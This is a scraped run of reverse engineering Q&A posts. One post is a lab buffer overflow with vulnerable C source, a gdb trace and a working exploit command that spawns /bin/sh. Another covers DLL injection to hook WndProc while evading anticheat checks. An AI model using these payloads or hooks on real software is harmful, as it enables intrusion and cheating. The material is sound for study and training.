<p>I don't think your shell code works even in gdb. The problem is in the address of the string in your shellcode. You are not showing in your question how did you get the address of the string that you use (<code>0x804a028</code>) but if you would search for <code>'/bin/sh'</code>, it would probably be at address <code>0x80487d0</code> and that should be in your shellcode. Right now your are passing an address that points to an address of the string. You just need an address of the string. You could verify it by calling <code>shellcode(exec_string)</code> and checking the stack/addressess/pointers just before the call to <code>system</code>.</p> <p>So corrected executions should be:</p> <pre><code>./lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\xd0\x87\x04\x08'") </code></pre>
25298
2020-06-15T00:28:48.737
<p>I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple:</p> <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt; /* * compiled with: * gcc -O0 -fno-stack-protector lab2B.c -o lab2B */ char* exec_string = "/bin/sh"; void shell(char* cmd) { system(cmd); } void print_name(char* input) { char buf[15]; strcpy(buf, input); printf("Hello %s\n", buf); } int main(int argc, char** argv) { if(argc != 2) { printf("usage:\n%s string\n", argv[0]); return EXIT_FAILURE; } print_name(argv[1]); return EXIT_SUCCESS; } </code></pre> <p>I was able to get it working in GDB (I think):</p> <pre><code>lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'") Reading symbols from lab2B...(no debugging symbols found)...done. gdb-peda$ disas shell Dump of assembler code for function shell: 0x080486bd &lt;+0&gt;: push ebp 0x080486be &lt;+1&gt;: mov ebp,esp 0x080486c0 &lt;+3&gt;: sub esp,0x18 0x080486c3 &lt;+6&gt;: mov eax,DWORD PTR [ebp+0x8] 0x080486c6 &lt;+9&gt;: mov DWORD PTR [esp],eax 0x080486c9 &lt;+12&gt;: call 0x8048590 &lt;system@plt&gt; 0x080486ce &lt;+17&gt;: leave 0x080486cf &lt;+18&gt;: ret End of assembler dump. gdb-peda$ b *0x080486c9 Breakpoint 1 at 0x80486c9 gdb-peda$ r Starting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB\(� Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(� [----------------------------------registers-----------------------------------] EAX: 0x804a028 --&gt; 0x80487d0 ("/bin/sh") EBX: 0xb7fcd000 --&gt; 0x1a9da8 ECX: 0x0 EDX: 0xb7fce898 --&gt; 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xbffff66c ("AAAABBBB(\240\004\b") ESP: 0xbffff654 --&gt; 0x804a028 --&gt; 0x80487d0 ("/bin/sh") EIP: 0x80486c9 (&lt;shell+12&gt;: call 0x8048590 &lt;system@plt&gt;) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80486c0 &lt;shell+3&gt;: sub esp,0x18 0x80486c3 &lt;shell+6&gt;: mov eax,DWORD PTR [ebp+0x8] 0x80486c6 &lt;shell+9&gt;: mov DWORD PTR [esp],eax =&gt; 0x80486c9 &lt;shell+12&gt;: call 0x8048590 &lt;system@plt&gt; 0x80486ce &lt;shell+17&gt;: leave 0x80486cf &lt;shell+18&gt;: ret 0x80486d0 &lt;print_name&gt;: push ebp 0x80486d1 &lt;print_name+1&gt;: mov ebp,esp Guessed arguments: arg[0]: 0x804a028 --&gt; 0x80487d0 ("/bin/sh") [------------------------------------stack-------------------------------------] 0000| 0xbffff654 --&gt; 0x804a028 --&gt; 0x80487d0 ("/bin/sh") 0004| 0xbffff658 ('A' &lt;repeats 24 times&gt;, "BBBB(\240\004\b") 0008| 0xbffff65c ('A' &lt;repeats 20 times&gt;, "BBBB(\240\004\b") 0012| 0xbffff660 ('A' &lt;repeats 16 times&gt;, "BBBB(\240\004\b") 0016| 0xbffff664 ('A' &lt;repeats 12 times&gt;, "BBBB(\240\004\b") 0020| 0xbffff668 ("AAAAAAAABBBB(\240\004\b") 0024| 0xbffff66c ("AAAABBBB(\240\004\b") 0028| 0xbffff670 ("BBBB(\240\004\b") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080486c9 in shell () gdb-peda$ c Continuing. [New process 2068] Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done. Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done. process 2068 is executing new program: /bin/dash Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done. Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x80486c9 </code></pre> <p>But it seems like the shell won't open outside of GDB:</p> <pre><code>lab2B@warzone:/levels/lab02$ ./lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'") Hello AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB(� sh: 1: : not found Segmentation fault (core dumped) </code></pre> <p>I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking <code>sh</code> to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks!</p>
How can I get my shellcode to work outside of GDB?
|disassembly|gdb|buffer-overflow|shellcode|
<p>It might be due to different algorithms used for analysis or different options set for those. <code>r2</code> (as well as <code>IDA</code> and <code>Ghidra</code>) has multiple options that can influence how the code is analyzed and how the functions (and other elements) are being recognized.</p> <p>In this case, <code>png_write_rows</code>, as far as I can see, this function is not called anywhere in the lib and also doesn't have standard function prologue so it might be for the reason that <code>r2</code> doesn't recognize it and mark correctly as a function.</p> <p>How to fix? You can always modify the final analysis and define a function where the flag for <code>png_write_rows</code> is. You can do that in Visual mode by typing 'df' (define function).</p> <p>Anyway, I would open an <a href="https://github.com/radareorg/radare2/issues" rel="nofollow noreferrer">r2 issue</a> to get some more info if this is a case of correct <code>analysis flags</code> (check <code>e~anal</code>) or why for some other reason <code>r2</code> doesn't recognize correctly some elements in this lib.</p>
25302
2020-06-15T11:09:43.333
<p>I am using radare2 to analyze libpng_amd64.so.1.6.34, commands are as follows:</p> <pre><code>r2 = r2pipe.open(binary_file) r2.cmd('aaa') funcs = r2.cmdj('aflj') </code></pre> <p>len(funcs) is 461, but the number of functions got by IDA is 526, besides the numbers of strings, imports, exports... are also different. I checked the result of radare2 and found some issuses, for example, the function <code>png_write_row</code> is followed by <code>png_write_rows</code>. Radare2 can not identity the second function <code>png_write_rows</code> and consider all code of those two functions to <code>png_write_row</code>. IDA works correctly.</p> <p>Why they are different? and Why radare2 can not identity functions correctly? how can I use it to get correct results?</p>
Results of radare2 are not correct
|ida|disassembly|radare2|
<p>Indeed, it seems to be incorrect. The syntax <code>[R0],#1</code> is called <a href="http://infocenter.arm.com/help/topic/com.arm.doc.dui0552a/BABJGHFJ.html" rel="nofollow noreferrer"><em>post-indexed</em></a>: first the store (or load) is performed, and <em>then</em> the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped.</p> <p>As for <code>00 BF</code>, it is the opcode for the <code>NOP</code> instruction, probably inserted to align next function on a 4-byte boundary.</p>
25309
2020-06-16T09:33:53.373
<p>I'm currently disassembling some firmware, when I stumbled across the following code snippet produced by Ghidra (the names are already my own ones):</p> <pre><code>void memset(byte *addr,byte value,int count) assume LRset = 0x0 assume TMode = 0x1 undefined r0:1 &lt;RETURN&gt; byte * r0:4 addr byte r1:1 value int r2:4 count undefined4 r0:4 iPtr 22 b1 cbz count,LAB_FIN 02 44 add count,addr LAB_LOOP 00 f8 01 1b strb.w value,[iPtr],#0x1 90 42 cmp iPtr,count fb d1 bne LAB_LOOP LAB_FIN 70 47 bx lr 00 ?? 00h bf ?? BFh </code></pre> <p>Ghidra's decompiler produces the following output (after setting some types):</p> <pre><code>void memset(byte *addr,byte value,int count) { byte *iPtr; if (count != 0) { iPtr = addr; do { iPtr = iPtr + 1; *iPtr = value; // write to iPtr AFTER the pointer was increased iPtr = iPtr; } while (iPtr != addr + count); } return; } </code></pre> <p>Now, I have two questions:</p> <ol> <li><p>The decompiled function suggests that this <code>memset</code> function will not set the given address (addr) to the specified value, but will always start with <code>addr+1</code>. This, however, doesn't feel right and as far as I understand the <code>strb.w</code> instruction it uses post-indexing. Therefore - I think - the order of the pointer-increment and the assignment instruction is wrong. Am I right or do I miss something?</p></li> <li><p>After the bx instruction there are two further bytes. I don't have the slightest idea what they are. Given that they are not "00" I don't think that they are (solely) used for alignment purposes. (The next function definitively starts directly after these two bytes.) Does anyone have an idea?</p></li> </ol>
Is Ghidra's decompilation of ARMv7 strb.w instruction broken?
|decompilation|c|arm|ghidra|
<p>Usually all the grounds on the PCB are connected together, so look for something like a metal shield, USB connector housing, or any other element that should be connected to ground (e.g. a capacitor). There may also be big copper areas used for the ground plane.</p>
25315
2020-06-16T17:31:47.757
<p>I'm very much on the software side of things so I'm super inexperienced with debugging hardware. A custom processor I'm working with gives 2 debug pins, and given that it's an ARM system I suspect it to be 2-wire SWD. Looking at some tools I found online, specifically J-Link, it looks like I need to not only connect the two debug pins, but also a ground pin. However, I'm not given a third pin and I don't have a pinout of the processor due to it being a custom build. Is there a way to find a ground on the processor?</p>
I have a two pin debug interface, confused on how to use it
|arm|hardware|
<p>I came up with this after I read the post but couldn't find a way to make it neat and clean</p> <p>just recording the thought process as pawel created an answer that is nice</p> <pre><code>&gt;&gt;&gt; inst = currentProgram.listing.getCodeUnitAt(currentAddress) &gt;&gt;&gt; print (inst,inst.getReferencesFrom()[1]) (CALL qword ptr [0x1c0007050], -&gt;NTOSKRNL.EXE::EtwRegister) </code></pre> <p>edit a regex substitute hack is what I was thinking of before abandoning it like below</p> <pre><code>&gt;&gt;&gt; re.sub(&quot;\[.*\]&quot;,'['+inst.getReferencesFrom()[1].toString()+']',inst.toString()) u'CALL qword ptr [-&gt;NTOSKRNL.EXE::EtwRegister]' </code></pre>
25322
2020-06-17T11:23:54.113
<p>I have written a script which extracts all the assembly code from a PE using this code in ghidra</p> <pre><code>instructionList = [] for instr in currentProgram.getListing().getInstructions(True): instructionList.append(instr) </code></pre> <p>but the issue is that, is changes all the .DLL calls in the assembly code. For example, if the listing window shows</p> <pre><code>CALL dword ptr [-&gt;MSVCRT.DLL::signal] </code></pre> <p>The output I get is</p> <pre><code>CALL dword ptr [EBP + -0x14] </code></pre> <p>Is there a way to get the assembly code exactly as it is in the listing window</p>
Extracting Info from Ghidra Listing Window
|disassembly|ghidra|
<p>Yes you can do that. If you don't know how to set conditional breakpoints take a look <a href="https://reverseengineering.stackexchange.com/questions/25215/x64dbg-breakpoint-on-write-in-memory-with-specific-value">here</a></p> <p>The condition you need to set depends if you are debugging 32 (EIP register) or 64 (RIP register) bit program. So for example let's say you don't want to stop at address 0xDEADBEEF for 32 bit program, you can set the break condition to <code>EIP != DEADBEEF</code>. You can add multiple addresses like this: <code>EIP != addy1 &amp;&amp; EIP != addy2</code> and so on.</p>
25327
2020-06-17T14:41:24.623
<p>If I have breakpoint on some win function, how to whitelist some address on which I don't want stopping?</p> <p>Seems that it is needed to use conditions. How?</p> <p>I use x64dbg, but if you only know a way in another debugger - it is also interesting.</p>
How to whitelist an address for breakpoint?
|x64dbg|
<p>I managed to solve the issue by using the following idapython code:</p> <pre><code>operand_value = get_operand_value(address, 1) for segment in Segments(): if operand_value &gt;= segment and operand_value &lt;= SegEnd(segment): op_hex(address, 1) op_offset(address, 1, idaapi.REF_OFF32, -1, 0, 0) </code></pre>
25338
2020-06-18T15:43:17.467
<p>I have an idapython script which automatically defines bytes as code by a predefined configuration.<br /> The problem is that when it defines the block of bytes as code (by idc.create_insn) it does not define references automatically.</p> <p>For example, this is the outcome of the function:<br /> <a href="https://i.stack.imgur.com/DwK6S.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DwK6S.png" alt="enter image description here" /></a></p> <p>And this is the expected result:<br /> <a href="https://i.stack.imgur.com/vTcBz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vTcBz.png" alt="enter image description here" /></a></p> <p>If 0x80004F0 cannot be defined automatically as offset, how can I programatically (with idapython) set it to be so?</p>
Defining operand as offset
|ida|idapython|
<p>It seems like you have an issue with dereferencing unallocated memory. I don't think that it's related to the heap in any way. It looks like the pointer address that is resolved by <code>ptr [rcx+200h]</code> is in fact points to <code>0xFFFFFFFFFFFFFFFF</code> address, and when trying to access this memory, the application crashes, because this page is not allocated.</p> <p>In order to investigate the issue, try to understand what is the origin of the bad <code>ecx</code> register value that is used at <code>00007FF9ED373847</code> - just follow in the disassembly where is it defined, and what goes wrong in your specific scenario - for example, maybe it's origin a function call, that returned an error, but the return value wasn't checked against error codes.</p>
25370
2020-06-22T16:43:29.763
<p>For some reason i'm not aware of ( some heap allocation limit ) while allocating memory for some classes, an application ( win64 ) raises this exception:</p> <pre><code>DumpedMini Result[0] Exception Code[EXCEPTION_ACCESS_VIOLATION] Fatal: Man.exe caused an EXCEPTION_ACCESS_VIOLATION(ThdId:10172) in module WApi.dll WApi::COdbcCommand::COdbcCommand(), Source(Wapicodbc.inl:341) 7FF9ED373847: The instruction at 0x7FF9ED373847 referenced memory at 0xFFFFFFFFFFFFFFFF. The memory could not be read (exc.code c0000005, tid 12420) :00007FF9ED373847 movaps xmmword ptr [rcx+200h], xmm6 00007FF9ED373847 ntdll.dll ntdll_RtlCaptureStackContext+1E457 </code></pre> <p>I don't have any access to application source , i debug it in ida , also there is similar application that does has same logic (allocating exactly same classes, but it doesn't throw error's and allocating up to 1gb in memory, while this app is stuck on 109k)</p> <p>What tools or techniques i can use , to analyze what is behind the memory limiting , or what problem it could be ?</p>
Windows PE64 throw error while allocating heap for unknown reason?
|c++|
<p>This is a helper function used by <a href="https://www.nxp.com/assets/documents/data/en/application-notes/PPCEABI.pdf" rel="nofollow noreferrer">PPC EABI</a> conforming compilers for reducing code size. From <a href="https://github.com/rodrigc/bz-vimage/blob/46b4e0c21e5297b9bdcdc0f518961d9906753e3a/contrib/gcc/config/rs6000/crtsavres.asm#L89" rel="nofollow noreferrer"><code>ctrsavres.asm</code></a>:</p> <pre><code>/* Routines for saving integer registers, called by the compiler. */ /* Called with r11 pointing to the stack header word of the caller of the */ /* function, just beyond the end of the integer save area. */ </code></pre> <p>Because it is called by the compiler, it doesn't behave like normal a function and accesses <code>r11</code> directly, without setting it up first (it is set up by the caller).</p>
25372
2020-06-23T02:52:42.603
<p>Apologies if this is a duplicate. Don't know what words to search for as that's what the question is about.</p> <p>I'm relatively new to reverse engineering binaries and while using Ghidra I've noticed that it frequently decompiles the binary to produce functions along these lines:</p> <pre><code>void FUN_803adb50(void) { int in_r11; undefined4 unaff_r26; undefined4 unaff_r27; undefined4 unaff_r28; undefined4 unaff_r29; undefined4 unaff_r30; undefined4 unaff_r31; *(undefined4 *)(in_r11 + -0x18) = unaff_r26; *(undefined4 *)(in_r11 + -0x14) = unaff_r27; *(undefined4 *)(in_r11 + -0x10) = unaff_r28; *(undefined4 *)(in_r11 + -0xc) = unaff_r29; *(undefined4 *)(in_r11 + -8) = unaff_r30; *(undefined4 *)(in_r11 + -4) = unaff_r31; return; } </code></pre> <p>Which is created from the following disassembly:</p> <hr /> <pre><code> * FUNCTION * ************************************************************** void __stdcall FUN_803adb50(void) assume GQR0 = 0x0 assume GQR1 = 0x0 assume GQR2 = 0x40004 assume GQR3 = 0x50005 assume GQR4 = 0x60006 assume GQR5 = 0x70007 assume GQR6 = 0x0 assume GQR7 = 0x0 assume r13 = 0x805dd0e0 assume r2 = 0x805e6700 void &lt;VOID&gt; &lt;RETURN&gt; FUN_803adb50 803adb50 93 4b ff e8 stw r26,-0x18(r11) ************************************************************** * FUNCTION * ************************************************************** undefined GetVCTypeSomething() assume GQR0 = 0x0 assume GQR1 = 0x0 assume GQR2 = 0x40004 assume GQR3 = 0x50005 assume GQR4 = 0x60006 assume GQR5 = 0x70007 assume GQR6 = 0x0 assume GQR7 = 0x0 assume r13 = 0x805dd0e0 assume r2 = 0x805e6700 undefined r3:1 &lt;RETURN&gt; GetVCTypeSomething 803adb54 93 6b ff ec stw r27,-0x14(r11) 803adb58 93 8b ff f0 stw r28,-0x10(r11) 803adb5c 93 ab ff f4 stw r29,-0xc(r11) 803adb60 93 cb ff f8 stw r30,-0x8(r11) 803adb64 93 eb ff fc stw r31,-0x4(r11) 803adb68 4e 80 00 20 blr </code></pre> <p>It happens frequently enough that it must be some kind of common pattern, always with many variables of an undefined type with the &quot;unaff_&quot; prefix which are assigned to an equal number of variables with the &quot;in_&quot; prefix. <em>They also commonly appear at the beginning of the caller functions.</em> My instinct is that it's something related to a class structure (I'm unsure of whether or not the original binary was C or C++) but given that I've had no luck with my searches, I figured I'd ask here.</p> <p><strong>What (if any) is the common code pattern that would produce such decompiled code?</strong></p> <p>Bonus points if there's a way to edit the function definition to produce something more legible.</p>
What kind of function creates this code pattern?
|binary-analysis|decompilation|ghidra|
<p>You can use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap" rel="nofollow noreferrer">VMMap by SysInternals</a> to inspect the memory layout of the process and determine what exactly the mysterious memory is.</p> <p>If it is heap memory, most likely there is a pointer to it somewhere in the process' data section, so you may be able to track it from there. Note that there can be multiple levels of indirections for a specific memory block. You may be able to use <a href="https://wiki.cheatengine.org/index.php?title=Tutorials:Pointers" rel="nofollow noreferrer">Cheat Engine</a> to discover a pointer chain to the area of interest.</p>
25373
2020-06-23T04:08:32.420
<p>I read my process memory with <strong>WinHex</strong> in order to remove some sensitive text which may running my app into crack/hack.(license data).</p> <p>Now , when i open the process Entire memory with in <strong>WinHex</strong> , i can easily search and find those sensitive data , but when i open each sub-module memory one by one , i can not find them !!</p> <p>How this is possible ?</p> <p>Is there any floating memory in each process which does not belong to process itself and it's sub-modules ?</p> <p><strong>Update :</strong> The strange thing is each time this data appear on a completely different offset !</p> <p>I appreciate for your answer. Thank you.</p>
WinHex : There's a data that does not belong to any module
|memory|dumping|memory-dump|process|
<p>The window procedure is usually set up per window class via the call to <a href="https://docs.microsoft.com/en-us/windows/win32/intl/registering-window-classes" rel="nofollow noreferrer">RegisterClassW</a> or similar. While it can be changed later by <code>SetWindowLongPtr</code>, in practice this is done quite rarely (AFAIK) so most likely the standard class procedure will be used. So:</p> <ol> <li>Check calls to <code>RegisterClassW</code>/<code>RegisterClassA</code> and extract <code>lpfnWndProc</code> from the class struct</li> <li>Hook the procedure and do what you need.</li> </ol>
25374
2020-06-23T07:07:25.520
<p>i am trying to hook wndproc in an game, to do that i am injecting a dll into their memory, my problem is i don't wanna do a Global Hook to the wndproc, i want to get a pointer to his procedure to do thing more cleans and stealth. (I am still learning so i am right now a noob into assembly, if you want you can recommend me a good tutorial to learn assembly etc).</p> <p><strong>PS: Sorry for my english.</strong></p> <p><strong>This is what i mean for Global Hook:</strong></p> <pre><code>//Global/Universal Hook example. #include &lt;windows.h&gt; static bool bSetup = false; WNDPROC oWndProc; LRESULT WndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { //Process messages return CallWindowProc(WindowProc, hWnd, msg, wParam, lParam); } void lpMain()//Our dll start here, we do our thing in this function. { if (!bSetup) { WindowProc = (WNDPROC)SetWindowLongPtr(HWND, GWLP_WNDPROC, (LRESULT)WndProc);//our Global Hooked Procedure. } } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive. break; } return TRUE; } </code></pre> <p>Instead of doing it by this way i want to hook it directly by the address/pointer of the target process also i want to avoid the CallWindowProc API call if it possible, i have been searching for the pointer with IDA Pro, x32dbg and Cheat engine but i haven't found it. How i can found a pointer to this? Thank you guys.</p> <p><strong>I am injecting a dll to the process to trying to do this.</strong></p> <p>Goal-Objective: <strong>The goal is hook the game procedure to use it instead of creating a global hook, also trying to avoid moost WinApi calls to be stealthy, cause anticheats can hook some API Functions and checks if they have been called or edited.</strong></p> <p><strong>Example of what i am trying to do (Detour hooking):</strong></p> <pre><code>//This is that i want to do. #include &lt;windows.h&gt; #include &quot;detour.h&quot;//Microsoft detours header for hooking. #pragma comment(lib, &quot;detours.lib&quot;);//Microsoft detours library. static bool bSetup = false; HWND GameHwnd = (HWND)((uintptr_t)GetModuleHandle(nullptr) + 0xA93158); typedef LRESULT(__stdcall* wndProc) (HWND, UINT, WPARAM, lParam);//our prototype. wndProc oWindowProc = nullptr;//our function return. //offsets, pointers, addresses... uintptr_t ADDRESS_WNDPROC = (uintptr_t)GetModuleHandle(nullptr) + 0x283C3A; LRESULT HookedWndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { //Process messages return CallWindowProc(oWindowProc, hWnd, msg, wParam, lParam); } void lpMain()//Our dll start here, we do our thing in this function. { if (!bSetup)//Hook Procedure and other stuff. { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&amp;(LPVOID&amp;)ADDRESS_WNDPROC, &amp;HookedWndProc); DetourTransactionCommit(); oWindowProc = (WNDPROC)ADDRESS_WNDPROC; or //oWindowProc = (WNDPROC)SetWindowLongPtr(GameHwnd, GWLP_WNDPROC, (LRESULT)HookedWndProc);//our Global Hooked Procedure. bSetup = true; } //do our things. } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive. break; } return TRUE; } </code></pre>
How i can grab a pointer or hook the process procedure without creating a global hook
|c++|address|pointer|
<p><code>otool</code> uses 0-based indexing for load commands and section numbers so it's probably the next section which is problematic.</p> <p>Note that the OS loader only uses <em>segments</em> for mapping the image to the memory so even if the file offsets of the sections are off it should not affect runnability of the program. Some sections may be used by the runtime components like the dynamic loader or Objective-C runtime but normally they only use memory addresses and not file offsets.</p>
25388
2020-06-25T00:58:51.157
<p>I am trying to restore a binary from memory. I re-constructed the binary and analyzed it with a disassembler and it looks okay, but when inspecting the headers with otool I'm getting:</p> <pre><code>truncated or malformed object (addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize) </code></pre> <p>Looking at the command:</p> <pre><code> struct __macho_segment_command_64 { LC_SEGMENT_64, // LC_SEGMENT_64 0x368, // includes sizeof section_64 structs &quot;__TEXT&quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment name 0x0, // memory address of this segment 0x339000, // memory size of this segment 0x0, // file offset of this segment 0x339000, // amount to map from the file 0x7, // maximum VM protection 0x5, // initial VM protection 0xa, // number of sections in segment 0 </code></pre> <p>Then section 8 of that command:</p> <pre><code>struct __macho_section_64 { &quot;__objc_classname&quot;, // name of this section &quot;__TEXT&quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment this section goes in 0x2dee36, // memory address of this section 0x6a, // size in bytes of this section 0x2dee36, // file offset of this section 0x0, // section alignment (power of 2) 0x0, // file offset of relocation entries 0x0, // number of relocation entries S_CSTRING_LITERALS, // flags (section type and attributes 0x0, // reserved (for offset or index) 0x0, // reserved (for count or sizeof) 0x0 // reserved } </code></pre> <p>vmsize of this command is <code>0x339000</code>. Section 8 starts at <code>0x2dee36</code> and is <code>0x6a</code> in size. So the section ends at <code>0x2DEEA0</code>.</p> <p>I have problems understanding how this is &quot;addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize&quot; given that the VM size of this command is <code>0x339000</code></p> <p>I'm suspecting I'm probably missing something, so my question: What adjustments are needed to restore a binary and make it executable again?</p>
How to fix Mach-O headers from a memory-dumped binary to make it usable again?
|memory-dump|mach-o|
<p>First, you need to include the std libs you need</p> <pre><code>#include &lt;xtree&gt; #include &lt;set&gt; #include &lt;map&gt; #include &lt;functional&gt; </code></pre> <p>Second you need to remove &quot;struct&quot; before all the variable declarations that aren't structs</p> <p>and third you should delete everything from this header you don't need, it's 90% garbage</p> <p>remove all instances of &quot;__cppobj&quot;</p> <p>You also need to define ActorRef, World &amp; WorldVtbl.</p> <p>I was able to remove 99% of errors by doing these things:</p> <pre><code>#include &lt;xtree&gt; #include &lt;set&gt; #include &lt;map&gt; #include &lt;functional&gt; #define __int8 char #define __int16 short #define __int32 int #define __int64 long long struct IPlayer { }; struct ILocalPlayer { }; struct IActor { }; template &lt;class T&gt; class ActorRef { public: IPlayer* m_object; }; struct AIZone { }; struct WorldVtbl { }; #define __int8 char #define __int16 short #define __int32 int #define __int64 long long struct IPlayer; struct ILocalPlayer; struct std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;, void*&gt;* _Myhead; unsigned int _Mysize; }; struct std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;ActorRef&lt;IActor&gt;, void*&gt;* _Myhead; unsigned int _Mysize; }; struct std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt;, void*&gt;* _Myhead; unsigned int _Mysize; }; struct std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt;, void*&gt;* _Myhead; unsigned int _Mysize; }; struct World { WorldVtbl* vfptr; std::set&lt;ActorRef&lt;IPlayer&gt;, std::less&lt;ActorRef&lt;IPlayer&gt; &gt;, std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; m_players; std::set&lt;ActorRef&lt;IActor&gt;, std::less&lt;ActorRef&lt;IActor&gt; &gt;, std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; m_actors; std::map&lt;unsigned int, ActorRef&lt;IActor&gt;, std::less&lt;unsigned int&gt;, std::allocator&lt;std::pair&lt;unsigned int const, ActorRef&lt;IActor&gt; &gt; &gt; &gt; m_actorsById; ILocalPlayer* m_localPlayer; unsigned int m_nextId; std::map&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt;, AIZone*, std::less&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; &gt;, std::allocator&lt;std::pair&lt;std::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; const, AIZone*&gt; &gt; &gt; m_aiZones; }; struct ClientWorld : World { ActorRef&lt;IPlayer&gt; m_activePlayer; float m_timeUntilNextNetTick; }; </code></pre> <p>My opinion is using a tool like <a href="https://github.com/ReClassNET/ReClass.NET" rel="nofollow noreferrer">ReClass.NET</a> is much easier for reversing structures and exporting header files, you should give it a try and see if it fits your needs.</p>
25394
2020-06-25T18:49:52.900
<p>Im a noob when it comes to using reverse engineering tooling.</p> <p>I am doing a reversing challenge (pwn adventure 3 CTF) and I am exporting the various types from IDA. The thing is, the header files are always full of errors when I add them to the project in visual studio. Using these headers would be much convenient since I have access to them, its just frustrating that i cannot get the syntax work. I have tried exporting the whole DLL I am debugging as a header (it includes a pdb so all these are supposed to be included). I have even tried including all of the std headers (I know its a bad practice, just wanted to try whether that fixes it.)</p> <p>Is there something I am missing that I am supposed to do in order to have the exported headers be syntactically correct so I can use them in my development project?</p> <p>Maybe the pros can guide me to the correct direction with this. Cheers in advance.</p> <p>An example for the header exported by IDA for the ClientWorld looks the following,:</p> <pre><code>/* This file has been generated by IDA. It contains local type definitions from the type library 'GameLogic' */ #define __int8 char #define __int16 short #define __int32 int #define __int64 long long struct IPlayer; struct ILocalPlayer; struct std::_Tree_node&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,void *&gt;; struct std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,void *&gt;; struct std::_Tree_node&lt;ActorRef&lt;IActor&gt;,void *&gt;; struct std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;,void *&gt;; struct WorldVtbl; /* 155 */ struct __cppobj std::_Container_base0 { }; /* 545 */ struct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;,void *&gt; *_Myhead; unsigned int _Mysize; }; /* 549 */ struct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; { }; /* 550 */ struct __cppobj std::_Tree_buy&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; &gt; { }; /* 551 */ struct __cppobj 